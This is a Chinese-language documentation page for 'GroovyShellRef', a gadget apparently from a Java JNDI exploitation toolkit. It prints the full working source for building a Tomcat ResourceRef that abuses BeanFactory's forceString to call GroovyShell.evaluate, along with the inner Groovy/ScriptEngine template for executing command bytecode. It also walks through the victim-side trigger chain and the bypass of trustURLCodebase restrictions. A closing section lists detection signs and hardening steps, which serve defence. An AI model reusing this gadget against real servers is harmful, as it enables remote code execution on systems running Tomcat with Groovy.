- 类别:jndi 别名:— 优先级:30
- 作者:—
- 依赖:
tomcat(org.apache.naming.factory.BeanFactory)、org.codehaus.groovy:groovy
构造一个 Tomcat org.apache.naming.ResourceRef(JNDI Reference 的子类),把工厂指定为 org.apache.naming.factory.BeanFactory、Bean 类型指定为 groovy.lang.GroovyShell。当受害方在 JNDI 查找中解引用(decode)该 Reference 时,Tomcat BeanFactory 会实例化 GroovyShell 并通过 forceString 机制调用其单 String 参数方法 evaluate(String),从而执行任意 Groovy 表达式,达成 RCE。它是 JNDI Reference 注入(JNDIResourceRefPayload)场景下的一个链尾 sink(END)。
- 入口
tags:ResourceRef、TomcatBeanFactory、ENDResourceRef:本 gadget 产出的是 TomcatResourceRef对象,承接需要「ResourceRef 载体」的上游(JNDI Reference 类 Payload)。TomcatBeanFactory:标识该利用依赖 Tomcat 内置的org.apache.naming.factory.BeanFactory对象工厂。END:本 gadget 可作为整条链的最外层终点(直接产出可交付 Payload 的 Reference)。
- 衔接
nextTags:Groovy_Expr—— 之后(更内层)需要一个「产出 Groovy 表达式字符串」的 gadget,把要执行的 Groovy 源码作为String传入。典型内层为 GroovyConvert(tags含Groovy_Expr)。 excludes:无。
整个类只有 getObject(String) 与 invoke 两个方法,逻辑极简,全部原理落在其构造的 ResourceRef 结构上:
@GadgetTags(tags={"ResourceRef", "TomcatBeanFactory", "END"}, nextTags={"Groovy_Expr"})
@GadgetAnnotation(name="Groovy RCE",
description="factory: org.apache.naming.factory.BeanFactory\nJNDI Reference的一种,通过BeanFactory调用单String方法:groovy.lang.GroovyShell#evaluate 执行任意Groovy表达式",
dependencies={"tomcat", "org.codehaus.groovy:groovy"}, priority=30)
public class GroovyShellRef implements Gadget {
public Reference getObject(String groovyString) throws Exception {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null);
ref.add((RefAddr)new StringRefAddr("forceString", "x=evaluate"));
ref.add((RefAddr)new StringRefAddr("x", groovyString));
return ref;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String groovyString = (String)chain.doCreate(context);
return this.getObject(groovyString);
}
}逐段解释:
-
invoke—— 取内层字符串:chain.doCreate(context)先执行更内层的 gadget(nextTags=Groovy_Expr,即GroovyConvert一类),其产物是一段 Groovy 源码字符串,强转为String后交给getObject。这符合本库「链由内向外构建」的约定:内层先产出表达式字符串,本 gadget 再把它封装为 Reference。 -
new ResourceRef(...)—— 声明目标 Bean 与工厂:- 第 1 个参数
"groovy.lang.GroovyShell"是className,即BeanFactory将要实例化(Class.forName(...).newInstance())的类。GroovyShell有可用的无参构造,可被直接实例化。 - 第 6 个参数
"org.apache.naming.factory.BeanFactory"是factoryClassName。JNDI 解引用 Reference 时会加载该工厂并调用其getObjectInstance(...)。与 RMI/LDAP 加载「远程 Factory 类」不同,BeanFactory是 Tomcat 本地已存在的类,因此本链无需外连 codebase、不触发trustURLCodebase限制,是本地 Reference 注入的经典绕过路径。
- 第 1 个参数
-
StringRefAddr("forceString", "x=evaluate")—— 关键的方法劫持:TomcatBeanFactory在处理 Bean 属性时,正常只会调用setXxxsetter。forceString是它提供的特殊指令:"x=evaluate"表示「对逻辑属性名x,强制改用名为evaluate的单String参数方法来赋值」。于是BeanFactory会反射查找GroovyShell#evaluate(String)并以其为「setter」。这正是把「设置属性」偷换成「调用任意单 String 方法」的核心技巧。 -
StringRefAddr("x", groovyString)—— 提供实参:属性x的值即内层产出的 Groovy 源码。BeanFactory处理到x时,按上一步的映射调用GroovyShell.evaluate(groovyString),Groovy 源码被解释执行,形成 RCE。
触发链(受害端):JNDI lookup → NamingManager.getObjectInstance → BeanFactory.getObjectInstance → 实例化 GroovyShell → 依据 forceString 反射调用 evaluate(x) → Groovy 表达式执行。
需要强调:本 gadget 不做任何 Groovy 编码/转换,只负责封装。要执行的 Groovy 字符串完全由内层 gadget 决定。预设链中内层是 GroovyConvert,其模板把字节码 Base64 后拼进一段「用 ScriptEngine 加载并执行字节码」的 Groovy 表达式:
public static String template = "Class.forName(\"javax.script.ScriptEngineManager\").newInstance()"
+ ".getEngineByName(\"JavaScript\").eval(\"" + JsConvert.jsTemplate + "\")";
private String getObject(byte[] bytecode) {
String bytecodeB64 = Base64.encodeBase64String(bytecode);
return String.format(template, bytecodeB64);
}即最终执行的 Groovy 会再嵌套一层 JS ScriptEngine 去加载字节码(Exec 产出的 ProcessBuilder 字节码),完成命令执行。
本类无 @Param(params 为空)。要执行的 Groovy 表达式不是本 gadget 的用户参数,而是由内层 gadget(如 GroovyConvert;命令来自更内层的 Exec.cmd)经 chain.doCreate 注入。
- 服务端前提:目标须使用 Tomcat(提供
org.apache.naming.factory.BeanFactory与ResourceRef),且存在可控 JNDI 注入点(JNDIResourceRefPayload,如InitialContext.lookup参数可控 / JNDI Reference 注入)。 - 依赖前提:目标 classpath 上须存在
org.codehaus.groovy:groovy(groovy.lang.GroovyShell)。 - 原理要点:利用
BeanFactory的forceString特性把「setter 赋值」变为「调用任意单String参数方法」,从而调用GroovyShell#evaluate(String)。因 Factory 与目标类均为本地类,无需远程 codebase,可绕过com.sun.jndi.rmi/ldap.object.trustURLCodebase=false等对远程类加载的限制。 - 备选关系:description 提示「一些场景下若 EL 执行失败可尝试 Groovy 执行」。同族 GroovyClassLoaderRef 走
GroovyClassLoader而非GroovyShell,是同类思路的另一种单 String 方法。
- Groovy 脚本执行(链 id 42,
applicablePayloads: JNDIResourceRefPayload)steps: [GroovyShellRef, GroovyConvert, BytecodeConvert, Exec]角色:GroovyShellRef为最外层 sink,封装出交付用的ResourceRef;内层依次由GroovyConvert生成 Groovy 表达式字符串、BytecodeConvert处理字节码、Exec产出命令执行字节码。
- 内层(
nextTags=Groovy_Expr):GroovyConvert、Groovy2Convert(用@groovy.transform.ASTTest变体)。 - 同族 JNDI/BeanFactory Reference sink:GroovyClassLoaderRef、H2CreateDirRef 等(同为
tags: ResourceRef + TomcatBeanFactory + END的BeanFactory单方法调用族)。 - 载体 Payload:
JNDIResourceRefPayload。
- 流量/日志特征:JNDI 响应或注入点中出现
factoryClassName=org.apache.naming.factory.BeanFactory、className=groovy.lang.GroovyShell,以及forceString、x=evaluate等RefAddr。Reference 中带forceString字段本身即高度可疑。 - 加固建议:
- 禁止不可信输入进入 JNDI
lookup;对 JNDI 注入点做严格白名单。 - 移除或隔离非必要的
groovy依赖;对GroovyShell/GroovyClassLoader的可达性做最小化。 - 审计 Tomcat
BeanFactory的forceString能力——排查是否有外部可控 Reference 能到达BeanFactory.getObjectInstance。 - 收敛 JNDI 组件配置,即便远程 codebase 已被禁用,也要防范此类纯本地类 Reference 注入。
- 禁止不可信输入进入 JNDI